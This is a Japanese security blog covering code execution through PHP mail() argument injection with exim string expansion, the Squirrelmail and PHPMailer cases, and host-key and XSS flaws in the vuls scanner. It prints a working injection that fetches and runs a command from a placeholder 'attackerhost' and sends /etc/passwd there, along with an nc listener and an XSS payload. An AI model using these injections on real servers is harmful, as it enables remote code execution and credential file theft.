どさにっき

by やまや
5月中旬

2017年5月15日(月)

PHP の mail() 関数で FizzBuzz

_ といってもループはできないので数値は生のリストで与えるんだけど。

$ php -r 'mail("","","","","-be \${tr{\${map{1:2:3:4:5:6:7:8:9:10:11:12:13:14:15:16:17:18:19:20:21:22:23:24:25:26:27:28:29:30:31:32:33:34:35:36:37:38:39:40:41:42:43:44:45:46:47:48:49:50}{\${if={\${eval:\$item%15}}{0}{FizzBuzz}{\${if={\${eval:\$item%3}}{0}{Fizz}{\${if={\${eval:\$item%5}}{0}{Buzz}{\$item}}}}}}}}}{:}{\\n}}");'
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16
17
Fizz
19
Buzz
(以下略)

_ 前提として、debian など sendmail が exim な環境であること。 この前の件で無駄に高機能であることが判明してしまった exim の文字列展開機能を使っている。

_ うーん、やっぱりこの機能ヤバいよ。単なる文字列展開だけならともかく、コマンド実行やネットワークへのアクセスすることまでできちゃう。そんなの必要?

_ 例。攻撃者はまず port 12345 にアクセスされると攻撃コマンドを返すサーバを用意しておく。

$ nc -lp 12345 -c 'echo /bin/uname -a'
で、mail() の第5引数にこの攻撃者が用意したサーバにアクセスさせる文字列を注入。
$ php -r 'mail("","","","","-be \${run{\${readsocket{inet:attackerhost:12345}{\${readfile{/etc/passwd}}}}}}");'
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.86-1 x86_64 GNU/Linux
この例では、攻撃者の用意したサーバからコマンドをダウンロードして実行するついでに、せっかくなので /etc/passwd の中身を攻撃者に送りつけてます。

_ 昨年末から続く PHPMailer その他 PHP のメール送信まわりを利用したコード実行ってのは、mail() の第5引数に "-X logfile" や "-C configfile" といった文字列を注入し、そのファイルに含まれるコードを実行させるというものだった。なので、"-X logfile" でログを書き出せないように権限を縛っておいたり、"-C configfile" で読ませる設定ファイルが事前に用意できない場合は、不正文字列の注入まででコード実行までは至らない。が、exim のこの機能を使えばこういった中間ファイルを介する必要はない。文字列を注入できれば、それは即コード実行できることを意味する。

_ あるいは、もっとずっとシンプルにこーゆーの。

mail(..., "-be <script>alert(1)</script>");
文字列展開なし。単純にそのまま出力するだけ。が、Web アプリの作りにもよるけど、mail() が文字列を出力するとはふつー考えないから、これはサニタイズされずそのまま出力 HTML の中に出てくる可能性が高い。ということで、XSS になる。この例からわかるように、exim のこの機能は文字列を「展開する」だけでなく、「出力する」という動作そのものがヤバい。

_ いや、外部からこういう文字列を注入されなければ問題ないんだけどね。でもそうはいってもそういう穴が相次いで発見されているわけなんで、あんまり信用しない方がよさげな気がする。

_ そういえばもう2年も前になるのか。 GHOST こと glibc の gethostbyname() の脆弱性では、 exim がモロに影響を受けてコード実行までされた。これ、gethostbyname() の穴で exim の ACL を書き換えるんだけど、なんで ACL の書き換えでコード実行になるのかというと、ACL にマッチするかどうかのチェックの際に文字列展開されるからなんだよね。やっぱりこの機能ダメなんじゃないかなぁ。


2017年5月8日(月)

exim で php のメール送信でコード実行される件。

_ 昨年末から続いている PHP でメール送信するところでリモートからコード実行できちゃう一連の脆弱性の話。これまでは主に sendmail がターゲットだったけど、 PHPMailerの脆弱性CVE-2016-10033はExim4やWordPress4.6でも影響があった という話が。Host ヘッダからコード注入するとか何を食ったらそんな発想に至るのかまったく想像の埒外なんだけど世の中いろんなこと考える人いるなぁ。ちなみに Host ヘッダの細工で、コード実行以外にも wordpress に認証なしでパスワードリセット要求もできるらしいよ。

_ で、これとは別件なんだけど、やっぱり PHP のメール送信でコード実行される脆弱性が先月 Squirrelmail に見つかってる。解説としては こっちの方がわかりやすいかな。以下のような手順で攻撃する。

  1. 細工した sendmail.cf を添付して Squirrelmail 稼動ホストにメールを送る
  2. 添付ファイルがひっぺがされて単体のファイルとして置かれるので、そのファイル名を取得
  3. ユーザ設定で "-C <添付したsendmail.cf>" を含むように細工した From アドレスを設定
  4. このユーザでメールを送信
  5. 添付した sendmail.cf の中に仕込んでおいたコマンドが発動

_ で、PoC では最初のステップで sendmail.cf を添付してメールしてるので sendmail でしか動かないけど、添付するのは別に sendmail.cf じゃなくてもいいよね。コマンドラインで設定ファイルを指定できるのは sendmail だけでなく exim もそうなので、かわりに exim.conf を添付してやれば exim で同じようにコード実行できるよね。確認してないけど、たぶん。postfix と qmail はコマンドラインで設定ファイルを指定できないので、同じことはできないはず。

_ さらに、 Host ヘッダからコード注入する件ってのは exim の文字列展開機能を使うらしい。sendmail -be で発動できるってことは、これ、squirrelmail の脆弱性でも利用可能だよね。つまり、From アドレスに "-C <添付したsendmail.cf>" を設定するかわりに、"-be <実行コマンド>" とすればよい。添付ファイルつきのメールを送るというステップを省略できてたいへんお手軽。ほんとに動くか確認はしてないけどね。

_ php のメール送信からのコード実行を可能にしている mail() や escapeshellarg() もお粗末だけど、exim の文字列展開もヒドい仕様だよね。struts の OGNL もそうなんだけど、こういった eval に類似した仕組みってのは、そういうものを実装しようという発想そのものが潜在的な脆弱性だと思う。外部から任意のコードを eval できる方法が見つからないうちはとりあえず問題ないけど、万が一その方法が発見されると致命的な結果をもたらす。便利かもしれないけど、不具合があった場合のことを考えたらそうそう気軽に採用できるものではないはず。


2017年4月7日(金)

脆弱性スキャナの脆弱性

_ つづき

_ vuls という脆弱性スキャナがありまして。よそのホストに ssh で接続して、中にインストールされてるものを調べて、既知の脆弱性が残ってないか探すツール。

_ 脆弱性を探すためのツールだけど、このツール自体に脆弱性がある。ssh で接続する先のホスト鍵を検証していない。 きのう修正された。それ以前のものは危険なので、git pull してビルドしなおすべし。

_ これ、go で書かれていて、ssh も go の ssh ライブラリを使っていた。ということで、 CVE-2017-3204に該当。CVE-ID は go のライブラリに割り当てられたけど、 前述のとおり、このライブラリにホスト鍵検証の機能がまったくないわけではないので、利用する側が検証をサボっていい理由にはならないと思ってる。間違った使われ方がされにくいようにした方がいいのはもちろんだけど、最終的には間違った使い方をしてる方の責任で、ライブラリ側に責任を押しつけるのはよくない。

_ vuls は go の ssh ライブラリだけでなく、ssh コマンドを利用することもできる。そっちを使う場合の引数はこんな感じ(修正前)。

	defaultSSHArgs := []string{
		"-tt",
		"-o", "StrictHostKeyChecking=no",
		"-o", "UserKnownHostsFile=/dev/null",
		"-o", "LogLevel=quiet",
		"-o", "ConnectionAttempts=3",
		"-o", "ConnectTimeout=10",
		"-o", "ControlMaster=no",
		"-o", "ControlPath=none",
ソースに -o StrictHostKeyChecking=no を埋め込むとか、さすがにこれは擁護しようがない。コマンドラインオプションでの指定は ~/.ssh/config での指定より優先されるので、こうなってると回避は不可能。ホスト鍵の検証なんかするもんかという強い意思を感じられる。これはもはやセキュリティホールではなくバックドアなのでは、と本気で疑った。結論としては、バックドアではなく素でやってたらしいよ(それはそれでおかしいだろ)。

_ ということで、vuls は ssh する方法を2通りから選択できるけど、そのどちらを選んでもホスト鍵を検証しなかった。

_ この件、昨年の12月にはじめて vuls をいじったその日のうちに発見している。git clone してコンパイルして最初の実行で ssh に成功して、いやおかしいだろ、と。vuls 用に新規に作ったユーザで、ホスト鍵のリストが空っぽなのに、なんで ssh に成功すんの? SSL ならばルート証明書がはじめから OS やらブラウザに組み込まれてるので、とくに何もしなくてもサーバ証明書の検証が可能で、だからこそ証明書の検証をサボっているような脆弱性が存在していても発覚しづらいんだけど、ssh にはそういう便利な仕組みはないんだから (*1)とくに何もしなければ検証できずに接続に失敗する or 警告が出るのが正しい動作であって、接続に成功したらむしろおかしいとすぐに気がつかなければいけない。だから、脆弱性を作りこんでしまった作者だけを責めたくはない。こんなわかりやすい欠陥に気がつかずに使い続けてるユーザもおかしくないか?

_ 以前の日記で vuls について触れたときにはこの件はすでに発見済みで、これはセキュリティに関するツールなのにこんなヒドいのありなんか、と腹を立てながらも感情を殺して書いたのがあの記述。その後、裏で作者に連絡して、さらに1月の janog の懇親会場で直接口頭ではやく直してくれ、とアピールして、でもずっと修正されず。最近になって go の ssh ライブラリの件が問題になり後方互換性をぶっこわす修正がされたおかげで vuls が動かなくなって、ようやく対応された。go の側で互換性を維持しない修正がなかったらまだ放置されてたんじゃないですかね。

_ まとめ。脆弱性スキャナを開発したり、それを使って自分の管理ホストの脆弱性をチェックするような意識高い系の皆さんでも、こんな基本的なセキュリティの欠陥を認識できない。

_ 追伸。 github のホスト鍵を確認したことのある者だけが vuls に石を投げなさい。


(*1): 厳密にいうと、そういう便利な仕組み(CA 認証)はあるけどほとんど使われていない。

脆弱性スキャナの脆弱性、その2

_ で、vuls の出力結果を webui で見やすく表示する vulsrepoっていうツールがありまして。

_ 単刀直入に言うと、こっちも脆弱性があった。javascript を注入可能。 この穴を踏んでた。 CVE-2016-1000241らしい。こっちは 今日修正完了

_ 脆弱性調査するのに実行するコマンドの出力結果が細工されていても、vuls はそれをチェックせず素通ししてしまう。そして vulsrepo は素通りした細工された結果をそのまま食ってしまう。で、vulsrepo (が利用していた pivottable.js) が入力のチェックをサボってるので、脆弱性スキャンの結果に javascript を含む出力をするように細工することで vulsrepo に対する XSS が可能だった。

_ 脆弱性スキャンされる側のホストがスキャン元に注入するという攻撃ベクトルなわけだけど、脆弱性スキャン対象のホストってのはとーぜん自分の管理下のホストであって、本来ならこんな攻撃が成功するような状況ならば XSS を許す WebUI をどうにかする以前に、飼い犬に手を噛まれる間抜けな状態を直すのが先決。そういう意味ではそれほど大きな影響のある穴ではなく、修正せず放置していてもそれほど問題ない。

_ しかし、これまで vuls はホスト鍵を検証していなかったので、意図せず悪意あるホストに接続してしまう可能性があった。信頼できるホストのスキャン結果しか食わないのであれば vulsrepo の脆弱性は放置しても危険ではないが、ホスト鍵の検証不備によりその前提は崩れる。結果としてこちらの穴の危険度も増すことに。まあ、MITM が必要なんでハードルは高いけどね。

_ この穴も見つけたのは昨年の12月。vuls をいじりはじめた翌日に発見。ホスト鍵を検証しない穴を見つけて、じゃあこの穴を利用して何ができるだろう、と考えて、スキャン対象からスキャン元にいたずらできるだろうか、と試してみたらビンゴだった、という経緯 。

_ まとめ。直さないより直した方がいいけど、それよりまず vuls の方を更新しましょう。


5月中旬
やまや